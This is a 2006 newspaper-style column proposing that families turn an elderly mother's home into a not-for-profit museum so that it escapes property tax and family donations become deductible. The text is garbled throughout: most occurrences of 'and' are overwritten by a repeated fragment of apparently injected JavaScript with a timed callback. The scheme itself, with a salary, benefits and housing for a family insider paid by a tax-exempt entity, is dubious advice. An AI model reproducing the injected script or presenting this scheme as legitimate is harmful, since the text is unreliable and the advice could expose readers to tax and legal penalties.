Property Tax Solution: Make Momma’s Home A Museum

If you have read my column regularly, then, you know that I am concerned about the impact of extremely high property taxes on senior citizens in Lake County, in Indiana, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and elsewhere.

This week, a lady from the Miller section of Gary visited the office andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and told me that her home’s property taxes had jumped to $11,000 per year last year, but had dropped to $5,000 this year. She said that she could no longer afford to live in Gary andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and would be moving. Two years ago, I wrote about a lady in northern Hammond who had a property tax increase from $200 per year to $6,000 per year. Often, I report on this topic because I have a real concern for the people who are affected.

Recently, I thought of a solution that might work for many people. If your mother is a senior citizen who has been hit with high property tax bills, high utility bills, increasing Medicare supplement insurance charges, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and higher medicine costs, then consider this idea. Make your momma’s home a museum!

“What?” you might ask. “Why?”

The reason that I suggest this is to help your mother andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your family in many ways. First of all, if your mother owns her home, it might be taken after she is put into a nursing home or after she dies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and creditors start filing with a court for payment. You can avoid all that muss andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fuss by making your momma’s home into a museum.

To create a museum, you just file the corporate papers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the tax papers to create a not-for-profit corporation to operate a museum. Your mother or your family then donates your momma’s home to the museum. The home becomes a museum. And, your momma becomes the museum curator andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and guide. She can explain to visitors the history of everything that the museum displays.

What’s the matter? You don’t think that your family andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its history are interesting? Why not? Don’t you have some old pictures of relatives who were in the military, or in the steel mills, or in a local parade? Don’t you have some pictures of relatives in old fashioned clothes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and old fashioned hair styles? Don’t you think that learning about life in years past would be a legitimate educational experience? Of course it would be.

Your relatives can serve as directors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and officers of the museum. Have a part of the house where pictures andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other things are displayed. Let your mother be the curator of the museum. Give her all kinds of benefits as an employee of the museum. Let the museum pay the utility bills. Let the museum give her a salary. Let the museum pay for her Medicare supplement insurance premiums. Let the museum pay for a life insurance policy on your mother as an employee benefit. Let the museum reimburse her for all the medicines andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vitamins that she takes as an employee benefit approved in writing by the officers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and directors of the not-for-profit museum.

Whenever relatives or friends visit your momma, make them pay a quarter for admission. Have a sign with the admission price andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a coffee can to collect the quarters right at the front entrance.

Now, here is the beautiful part of this whole idea. The not-for-profit museum won’t have to pay property taxes. Not-for-profit corporation property that is used for not-for-profit purposes gets exempted from paying property taxes. So, your momma’s home becomes free of property taxes! Also, federal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and state income tax laws make it tough for you or your relatives to deduct most money that you would spend to help your mother if you gave the money directly to your mother or her creditors. But, you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and everyone in the family can deduct lots andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lots of money that is donated to the not-for-profit museum where your mother must live because it is a condition of her employment.

Do you think I’m crazy? Maybe the tax laws are what is crazy. Why can’t we help our relatives andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and friends without hiring lawyers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and accountants to help us create andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintain legal fiction entities like corporation, trusts, limited partnerships, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and so on? Why can’t people be allowed to deduct all of their existence costs just as corporations, trusts, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other legal fiction entities do? Why is it smarter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and better, under the various tax laws, to create a not-for-profit museum to help your momma instead of just helping your momma directly?

© 2006 Woodrow Wilcox

www.WoodrowWilcox.com